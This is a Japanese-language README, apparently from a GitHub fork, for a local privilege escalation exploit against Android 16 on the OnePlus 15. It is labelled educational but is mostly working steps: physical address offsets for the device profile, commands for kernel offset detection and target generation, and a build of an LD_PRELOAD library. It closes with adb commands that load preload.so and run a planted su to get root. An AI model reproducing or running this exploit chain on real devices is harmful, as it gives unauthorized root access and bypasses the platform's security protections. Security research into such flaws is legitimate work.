
OnePlus 15上のAndroid 16ローカル権限昇格の教育用概念実証で、カーネルオフセット検出、ターゲット生成、LD_PRELOADベースのエクスプロイトビルドを備えています。
警告: このリポジトリは教育および研究目的のみで提供されています。 ビルド済みのバイナリやリリースは配布されていません。すべてソースからビルドする必要があります。
OnePlus 15向けのAndroid 16ローカル権限昇格。
kallsymsアライメント修正と確認済みOnePlus 15プロファイルを含むx-spy/CVE-2026-43499-popsicleのフォーク。
プロファイルには、同じファームウェアを実行するroot化デバイスから確認しなければならない2つの物理アドレスが含まれています:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
root化デバイスでの自動検出:
python3 detect_offset.py
Python 3と llvm-objdump が必要です:
python3 generate_target.py \
--boot boot.img \
--profile profile_oneplus15.json \
-o source/src/target.h
make -C source clean preload
NDKが自動的に検出されない場合:
NDK_ROOT=/path/to/android-ndk make -C source clean preload
出力: source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id